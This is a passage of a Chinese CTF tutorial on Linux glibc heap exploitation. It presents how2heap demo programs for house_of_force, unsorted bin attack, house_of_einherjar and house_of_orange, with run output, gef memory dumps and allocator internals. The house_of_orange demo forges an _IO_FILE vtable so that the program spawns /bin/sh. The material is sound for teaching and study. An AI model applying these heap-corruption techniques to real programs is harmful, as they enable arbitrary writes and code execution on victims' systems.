mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-25 11:41:16 +07:00
890 lines
36 KiB
Markdown
890 lines
36 KiB
Markdown
# 3.3.8 Linux 堆利用(下)
|
||
|
||
- [how2heap](#how2heap)
|
||
- [house_of_force](#house_of_force)
|
||
- [unsorted_bin_attack](#unsorted_bin_attack)
|
||
- [house_of_einherjar](#house_of_einherjar)
|
||
- [house_of_orange](#house_of_orange)
|
||
- [参考资料](#参考资料)
|
||
|
||
|
||
[下载文件](../src/Others/3.3.6_heap_exploit)
|
||
|
||
## how2heap
|
||
#### house_of_force
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdint.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdint.h>
|
||
#include <malloc.h>
|
||
|
||
char bss_var[] = "This is a string that we want to overwrite.";
|
||
|
||
int main() {
|
||
fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
|
||
|
||
intptr_t *p1 = malloc(0x10);
|
||
int real_size = malloc_usable_size(p1);
|
||
memset(p1, 'A', real_size);
|
||
fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
|
||
fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
|
||
|
||
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
|
||
fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
|
||
fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||
ptr_top[0] = -1;
|
||
fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
|
||
|
||
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
|
||
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
|
||
void *new_ptr = malloc(evil_size);
|
||
int real_size_new = malloc_usable_size(new_ptr);
|
||
memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
|
||
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
|
||
|
||
void* ctr_chunk = malloc(0x30);
|
||
fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
|
||
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
|
||
|
||
fprintf(stderr, "old string: %s\n", bss_var);
|
||
strcpy(ctr_chunk, "YEAH!!!");
|
||
fprintf(stderr, "new string: %s\n", bss_var);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g house_of_force.c
|
||
$ ./a.out
|
||
We will overwrite a variable at 0x601080
|
||
|
||
Let's allocate the first chunk of 0x10 bytes: 0x824010.
|
||
Real size of our allocated chunk is 0x18.
|
||
|
||
Overwriting the top chunk size with a big value so the malloc will never call mmap.
|
||
Old size of top chunk: 0x20fe1
|
||
New size of top chunk: 0xffffffffffffffff
|
||
|
||
The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
|
||
As expected, the new pointer is at the same place as the old top chunk: 0x824030
|
||
malloc(0x30) => 0x601080!
|
||
|
||
Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
|
||
old string: This is a string that we want to overwrite.
|
||
new string: YEAH!!!
|
||
```
|
||
house_of\_force 是一种通过改写 top chunk 来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。
|
||
|
||
首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
chunk 1 真实可用的内存有 0x18 字节。
|
||
|
||
假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
改写之后的 size==0xffffffff。
|
||
|
||
现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。
|
||
```
|
||
gef➤ x/8gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000021
|
||
0x602010: 0x4141414141414141 0x4141414141414141
|
||
0x602020: 0x4141414141414141 0xfffffffffffff051
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||
0x601060: 0x4141414141414141 0x4141414141414141
|
||
0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
|
||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||
0x6010b0: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:
|
||
```
|
||
gef➤ x/12gx 0x602010+0xfffffffffffff050
|
||
0x601060: 0x4141414141414141 0x4141414141414141
|
||
0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
|
||
0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
|
||
0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
|
||
0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
|
||
0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk
|
||
```
|
||
|
||
#### unsorted_bin_attack
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
|
||
int main() {
|
||
unsigned long stack_var = 0;
|
||
fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
|
||
|
||
unsigned long *p = malloc(0x80);
|
||
unsigned long *p1 = malloc(0x10);
|
||
fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
|
||
|
||
free(p);
|
||
fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
|
||
|
||
p[1] = (unsigned long)(&stack_var - 2);
|
||
fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
|
||
|
||
malloc(0x80);
|
||
fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g unsorted_bin_attack.c
|
||
$ ./a.out
|
||
The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
|
||
|
||
Now, we allocate first small chunk on the heap at: 0x1066010
|
||
We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
|
||
We write it with the target address-0x10: 0x7ffc9b1d61a0
|
||
|
||
Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78
|
||
```
|
||
unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。
|
||
|
||
unlink 的对 unsorted bin 的操作是这样的:
|
||
```c
|
||
/* remove from unsorted list */
|
||
unsorted_chunks (av)->bk = bck;
|
||
bck->fd = unsorted_chunks (av);
|
||
```
|
||
其中 `bck = victim->bk`。
|
||
|
||
首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:
|
||
```
|
||
gef➤ x/26gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
|
||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||
0x602020: 0x0000000000000000 0x0000000000000000
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000000
|
||
0x602050: 0x0000000000000000 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000000000
|
||
0x602070: 0x0000000000000000 0x0000000000000000
|
||
0x602080: 0x0000000000000000 0x0000000000000000
|
||
0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
|
||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx &stack_var-2
|
||
0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
|
||
0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||
→ Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)
|
||
```
|
||
|
||
然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:
|
||
```
|
||
gef➤ x/26gx 0x602010-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
|
||
0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
|
||
0x602020: 0x0000000000000000 0x0000000000000000
|
||
0x602030: 0x0000000000000000 0x0000000000000000
|
||
0x602040: 0x0000000000000000 0x0000000000000000
|
||
0x602050: 0x0000000000000000 0x0000000000000000
|
||
0x602060: 0x0000000000000000 0x0000000000000000
|
||
0x602070: 0x0000000000000000 0x0000000000000000
|
||
0x602080: 0x0000000000000000 0x0000000000000000
|
||
0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
|
||
0x6020a0: 0x0000000000000000 0x0000000000000000
|
||
0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
|
||
0x6020c0: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx &stack_var-2
|
||
0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
|
||
0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL
|
||
```
|
||
从而泄漏了 unsorted bin 的头部地址。
|
||
|
||
#### house_of_einherjar
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
#include <stdint.h>
|
||
#include <malloc.h>
|
||
|
||
int main() {
|
||
uint8_t *a, *b, *d;
|
||
|
||
a = (uint8_t*) malloc(0x10);
|
||
int real_a_size = malloc_usable_size(a);
|
||
memset(a, 'A', real_a_size);
|
||
fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
|
||
|
||
size_t fake_chunk[6];
|
||
fake_chunk[0] = 0x80;
|
||
fake_chunk[1] = 0x80;
|
||
fake_chunk[2] = (size_t) fake_chunk;
|
||
fake_chunk[3] = (size_t) fake_chunk;
|
||
fake_chunk[4] = (size_t) fake_chunk;
|
||
fake_chunk[5] = (size_t) fake_chunk;
|
||
fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
|
||
fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
|
||
fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
|
||
fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
|
||
fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
|
||
fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
|
||
fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
|
||
|
||
b = (uint8_t*) malloc(0xf8);
|
||
int real_b_size = malloc_usable_size(b);
|
||
uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
|
||
fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
|
||
fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
|
||
fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
|
||
a[real_a_size] = 0;
|
||
fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
|
||
|
||
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
|
||
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
|
||
fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
|
||
fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
|
||
|
||
fake_chunk[1] = fake_size;
|
||
fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
|
||
|
||
fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
|
||
free(b);
|
||
fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
|
||
|
||
d = malloc(0x10);
|
||
memset(d, 'A', 0x10);
|
||
fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g house_of_einherjar.c
|
||
$ ./a.out
|
||
We allocate 0x10 bytes for 'a': 0xb31010
|
||
|
||
Our fake chunk at 0x7ffdb337b7f0 looks like:
|
||
prev_size: 0x80
|
||
size: 0x80
|
||
fwd: 0x7ffdb337b7f0
|
||
bck: 0x7ffdb337b7f0
|
||
fwd_nextsize: 0x7ffdb337b7f0
|
||
bck_nextsize: 0x7ffdb337b7f0
|
||
|
||
We allocate 0xf8 bytes for 'b': 0xb31030
|
||
b.size: 0x101
|
||
We overflow 'a' with a single null byte into the metadata of 'b'
|
||
b.size: 0x100
|
||
|
||
We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
|
||
Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
|
||
|
||
Modify fake chunk's size to reflect b's new prev_size
|
||
Now we free b and this will consolidate with our fake chunk
|
||
Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
|
||
|
||
Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800
|
||
```
|
||
house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。
|
||
|
||
首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
|
||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300
|
||
```
|
||
|
||
接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。
|
||
|
||
接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配:
|
||
```
|
||
gef➤ x/8gx a-0x10
|
||
0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||
0x603010: 0x4141414141414141 0x4141414141414141
|
||
0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
|
||
0x603030: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
|
||
0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600
|
||
```
|
||
|
||
释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:
|
||
```
|
||
gef➤ heap arenas
|
||
Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)
|
||
```
|
||
合并的过程在 poison-null-byte 那里也讲过了。
|
||
|
||
最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:
|
||
```
|
||
gef➤ x/8gx &fake_chunk
|
||
0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
|
||
0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
|
||
0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
|
||
0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00
|
||
```
|
||
|
||
#### house_of_orange
|
||
```c
|
||
#include <stdio.h>
|
||
#include <stdlib.h>
|
||
#include <string.h>
|
||
|
||
int winner (char *ptr);
|
||
|
||
int main() {
|
||
char *p1, *p2;
|
||
size_t io_list_all, *top;
|
||
|
||
p1 = malloc(0x400 - 0x10);
|
||
|
||
top = (size_t *) ((char *) p1 + 0x400 - 0x10);
|
||
top[1] = 0xc01;
|
||
|
||
p2 = malloc(0x1000);
|
||
io_list_all = top[2] + 0x9a8;
|
||
top[3] = io_list_all - 0x10;
|
||
|
||
memcpy((char *) top, "/bin/sh\x00", 8);
|
||
|
||
top[1] = 0x61;
|
||
|
||
_IO_FILE *fp = (_IO_FILE *) top;
|
||
fp->_mode = 0; // top+0xc0
|
||
fp->_IO_write_base = (char *) 2; // top+0x20
|
||
fp->_IO_write_ptr = (char *) 3; // top+0x28
|
||
|
||
size_t *jump_table = &top[12]; // controlled memory
|
||
jump_table[3] = (size_t) &winner;
|
||
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
|
||
|
||
malloc(1);
|
||
return 0;
|
||
}
|
||
|
||
int winner(char *ptr) {
|
||
system(ptr);
|
||
return 0;
|
||
}
|
||
```
|
||
```
|
||
$ gcc -g house_of_orange.c
|
||
$ ./a.out
|
||
*** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
|
||
======= Backtrace: =========
|
||
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
|
||
/lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
|
||
/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
|
||
./a.out[0x4006cc]
|
||
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f3dae93e830]
|
||
./a.out[0x400509]
|
||
======= Memory map: ========
|
||
00400000-00401000 r-xp 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||
00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out
|
||
00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out
|
||
01e81000-01ec4000 rw-p 00000000 00:00 0 [heap]
|
||
7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0
|
||
7f3da8021000-7f3dac000000 ---p 00000000 00:00 0
|
||
7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||
7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||
7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1
|
||
7f3dae91e000-7f3daeade000 r-xp 00000000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||
7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||
7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||
7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so
|
||
7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0
|
||
7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||
7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0
|
||
7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0
|
||
7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||
7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so
|
||
7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0
|
||
7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack]
|
||
7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar]
|
||
7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso]
|
||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
||
$ whoami
|
||
firmy
|
||
$ exit
|
||
Aborted (core dumped)
|
||
```
|
||
house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。
|
||
|
||
当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 `mp_.mmap_threshold`:
|
||
```c
|
||
if (av == NULL
|
||
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
|
||
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
|
||
{
|
||
```
|
||
同时,为了能够调用 `sysmalloc()` 中的 `_int_free()`,需要 top chunk 大于 `MINSIZE`,即 0x10:
|
||
```c
|
||
if (old_size >= MINSIZE)
|
||
{
|
||
_int_free (av, old_top, 1);
|
||
}
|
||
```
|
||
当然,还得绕过下面两个限制条件:
|
||
```c
|
||
/*
|
||
If not the first time through, we require old_size to be
|
||
at least MINSIZE and to have prev_inuse set.
|
||
*/
|
||
|
||
assert ((old_top == initial_top (av) && old_size == 0) ||
|
||
((unsigned long) (old_size) >= MINSIZE &&
|
||
prev_inuse (old_top) &&
|
||
((unsigned long) old_end & (pagesize - 1)) == 0));
|
||
|
||
/* Precondition: not enough current space to satisfy nb request */
|
||
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
|
||
```
|
||
即满足 old_size 小于 `nb+MINSIZE`,`PREV_INUSE` 标志位为 1,`old_top+old_size` 页对齐这几个条件。
|
||
|
||
首先分配一个大小为 0x400 的 chunk:
|
||
```
|
||
gef➤ x/4gx p1-0x10
|
||
0x602000: 0x0000000000000000 0x0000000000000401 <-- chunk p1
|
||
0x602010: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx p1-0x10+0x400
|
||
0x602400: 0x0000000000000000 0x0000000000020c01 <-- top chunk
|
||
0x602410: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
默认情况下,top chunk 大小为 0x21000,减去 0x400,所以此时的大小为 0x20c00,另外 PREV_INUSE 被设置。
|
||
|
||
现在假设存在溢出漏洞,可以修改 top chunk 的数据,于是我们将 size 字段修改为 0xc01。这样就可以满足上面所说的条件:
|
||
```
|
||
gef➤ x/4gx p1-0x10+0x400
|
||
0x602400: 0x0000000000000000 0x0000000000000c01 <-- top chunk
|
||
0x602410: 0x0000000000000000 0x0000000000000000
|
||
```
|
||
|
||
紧接着,申请一块大内存,此时由于修改后的 top chunk size 不能满足需求,则调用 sysmalloc 的第一种方法扩充 top chunk,结果是在 old\_top 后面新建了一个 top chunk 用来存放 new\_top,然后将 old\_top 释放,即被添加到了 unsorted bin 中:
|
||
```
|
||
gef➤ x/4gx p1-0x10+0x400
|
||
0x602400: 0x0000000000000000 0x0000000000000be1 <-- old top chunk [be freed]
|
||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
|
||
gef➤ x/4gx p1-0x10+0x400+0xbe0
|
||
0x602fe0: 0x0000000000000be0 0x0000000000000010 <-- fencepost chunk 1
|
||
0x602ff0: 0x0000000000000000 0x0000000000000011 <-- fencepost chunk 2
|
||
gef➤ x/4gx p2-0x10
|
||
0x623000: 0x0000000000000000 0x0000000000001011 <-- chunk p2
|
||
0x623010: 0x0000000000000000 0x0000000000000000
|
||
gef➤ x/4gx p2-0x10+0x1010
|
||
0x624010: 0x0000000000000000 0x0000000000020ff1 <-- new top chunk
|
||
0x624020: 0x0000000000000000 0x0000000000000000
|
||
gef➤ heap bins unsorted
|
||
[ Unsorted Bin for arena 'main_arena' ]
|
||
[+] unsorted_bins[0]: fw=0x602400, bk=0x602400
|
||
→ Chunk(addr=0x602410, size=0xbe0, flags=PREV_INUSE)
|
||
```
|
||
于是就泄漏出了 libc 地址。另外可以看到 old top chunk 被缩小了 0x20,缩小的空间被用于放置 fencepost chunk。此时的堆空间应该是这样的:
|
||
```
|
||
+---------------+
|
||
| p1 |
|
||
+---------------+
|
||
| old top-0x20 |
|
||
+---------------+
|
||
| fencepost 1 |
|
||
+---------------+
|
||
| fencepost 2 |
|
||
+---------------+
|
||
| ... |
|
||
+---------------+
|
||
| p2 |
|
||
+---------------+
|
||
| new top |
|
||
+---------------+
|
||
```
|
||
详细过程如下:
|
||
```c
|
||
if (old_size != 0)
|
||
{
|
||
/*
|
||
Shrink old_top to insert fenceposts, keeping size a
|
||
multiple of MALLOC_ALIGNMENT. We know there is at least
|
||
enough space in old_top to do this.
|
||
*/
|
||
old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK;
|
||
set_head (old_top, old_size | PREV_INUSE);
|
||
|
||
/*
|
||
Note that the following assignments completely overwrite
|
||
old_top when old_size was previously MINSIZE. This is
|
||
intentional. We need the fencepost, even if old_top otherwise gets
|
||
lost.
|
||
*/
|
||
chunk_at_offset (old_top, old_size)->size =
|
||
(2 * SIZE_SZ) | PREV_INUSE;
|
||
|
||
chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
|
||
(2 * SIZE_SZ) | PREV_INUSE;
|
||
|
||
/* If possible, release the rest. */
|
||
if (old_size >= MINSIZE)
|
||
{
|
||
_int_free (av, old_top, 1);
|
||
}
|
||
}
|
||
```
|
||
|
||
根据放入 unsorted bin 中 old top chunk 的 fd/bk 指针,可以推算出 `_IO_list_all` 的地址。然后通过溢出将 old top 的 bk 改写为 `_IO_list_all-0x10`,这样在进行 unsorted bin attack 时,就会将 `_IO_list_all` 修改为 `&unsorted_bin-0x10`:
|
||
```
|
||
gef➤ x/4gx p1-0x10+0x400
|
||
0x602400: 0x0000000000000000 0x0000000000000be1
|
||
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
|
||
```
|
||
这里讲一下 glibc 中的异常处理。一般在出现内存错误时,会调用函数 `malloc_printerr()` 打印出错信息,我们顺着代码一直跟踪下去:
|
||
```c
|
||
static void
|
||
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
|
||
{
|
||
[...]
|
||
if ((action & 5) == 5)
|
||
